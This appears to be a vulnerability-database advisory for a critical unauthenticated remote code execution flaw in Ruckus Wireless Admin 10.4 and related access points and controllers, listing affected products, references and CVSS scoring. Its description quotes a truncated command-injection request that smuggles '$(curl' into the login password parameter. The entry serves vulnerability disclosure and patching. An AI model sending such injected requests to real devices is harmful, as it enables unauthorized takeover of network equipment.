Description

Ruckus Wireless Admin through 10.4 allows Remote Code Execution via an unauthenticated HTTP GET Request, as demonstrated by a /forms/doLogin?login_username=admin&password=password$(curl substring.

Related CPE's

a

ruckuswireless

ruckus_wireless_admin

8

o

ruckuswireless

smartzone_ap

4

h

ruckuswireless

e510

2

h

ruckuswireless

h320

2

h

ruckuswireless

h350

-

h

ruckuswireless

h510

2

h

ruckuswireless

h550

-

h

ruckuswireless

m510

2

h

ruckuswireless

r310

2

h

ruckuswireless

r320

2

h

ruckuswireless

r350

-

h

ruckuswireless

r510

2

h

ruckuswireless

r550

2

h

ruckuswireless

r610

2

h

ruckuswireless

r650

2

h

ruckuswireless

r710

2

h

ruckuswireless

r720

2

h

ruckuswireless

r730

2

h

ruckuswireless

r750

2

h

ruckuswireless

r760

-

h

ruckuswireless

r850

2

h

ruckuswireless

sz-144

3

h

ruckuswireless

sz100

2

h

ruckuswireless

sz300

3

h

ruckuswireless

t310c

2

h

ruckuswireless

t310d

2

h

ruckuswireless

t310n

2

h

ruckuswireless

t310s

2

h

ruckuswireless

t350c

-

h

ruckuswireless

t350d

-

h

ruckuswireless

t350se

-

h

ruckuswireless

t610

2

h

ruckuswireless

t710

2

h

ruckuswireless

t710s

2

h

ruckuswireless

t750

2

h

ruckuswireless

t750se

2

h

ruckuswireless

t811-cm

2

h

ruckuswireless

r500

-

h

ruckuswireless

r600

-

h

ruckuswireless

t300

-

h

ruckuswireless

t301n

-

h

ruckuswireless

t301s

-

h

ruckuswireless

t504

-

h

ruckuswireless

h500

-

h

ruckuswireless

r300

-

h

ruckuswireless

r700

-

h

ruckuswireless

r560

-

o

ruckuswireless

smartzone

3

h

ruckuswireless

m510-jp

-

h

ruckuswireless

p300

-

h

ruckuswireless

q410

-

h

ruckuswireless

q710

-

h

ruckuswireless

q910

-

h

ruckuswireless

t811-cm\(non-spf\)

-

h

ruckuswireless

zd1000

-

h

ruckuswireless

zd1100

-

h

ruckuswireless

zd1200

-

h

ruckuswireless

zd3000

-

h

ruckuswireless

zd5000

-

h

ruckuswireless

sz-144-federal

-

h

ruckuswireless

sz300-federal

-

References

https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/

ExploitThird Party Advisory

https://support.ruckuswireless.com/security_bulletins/315

PatchProductVendor Advisory

https://cybir.com/2023/cve/proof-of-concept-ruckus-wireless-admin-10-4-unauthenticated-remote-code-execution-csrf-ssrf/

ExploitThird Party Advisory

https://support.ruckuswireless.com/security_bulletins/315

PatchProductVendor Advisory

Weaknesses

[email protected]

Primary
CWE-94

134c704f-9b21-4f2e-91b3-4a467353bcc0

Secondary
CWE-94

CVSS impact metrics

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

9.8 · Critical

  • CVSS V3.1

  • CVSS V3.0

  • CVSS V2.0

Information

Source identifier

[email protected]

Vulnerability status

Analyzed

Published

2023-02-13T20:15:10.973

2 years ago

Last modified

2025-03-10T20:48:20.863

1 month ago